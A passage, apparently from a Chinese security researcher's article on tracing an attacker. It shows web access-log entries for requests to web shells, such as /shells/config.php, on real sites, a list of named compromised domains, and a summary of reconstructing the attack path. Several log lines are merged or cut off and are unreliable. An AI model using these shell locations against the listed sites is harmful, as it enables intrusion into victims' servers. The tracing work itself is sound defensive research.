Win64; x64; rv:63.0) Gecko/ Firefox/63.0"207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" 1"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"7.6 被黑网站不完全统计rosturplast.commirohaviar.skhelioncomposites.comradiolanalhue.clzebramedia.alwww.qtfontebispo.comwww.seoeaze.comvilapoucadeaguiar.comproyectosphr.clu-p.comwww.humanaconsultores.clamsogroup.comwww.tdftechnologies.comwww.bvvagos.ptwww.huellasdigitales.cllince.apsl.edu.plwww.fica.unsl.edu.arproyectosphr.clwww.zlobek.uw.edu.plifr.ptmail.ijrer.orgwww.hkmms.org.hkhistoria.apsl.edu.plwww.homeguide.com.sgonlinecombos.co.inumo.apsl.edu.plwww.bpmp2t.lombokbaratkab.go.idamsogroup.comviper.clwww.teniscavancha.clwww.estacaomedica.ptterrarestobar.cljf-bragado.pthelioncomposites.comnotariabasualto.clericdiblasi.comreinamarltda.clcobraz.ptwww.stmarypellaia.comwebcam.wm-itservice.at八、攻击路径还原通过对以上信息的综合分析,我们可以识别攻击者的行为动机、攻击手法、代理IP,黑客组织成员ID、受害者邮件列表等。还可以清晰地还原出攻击者的详细攻击路径。从红队反制的角度为安全研究人员和执法机构提供一种非常规的溯源思路。作者介绍:罗棋琛,资深信息安全工程师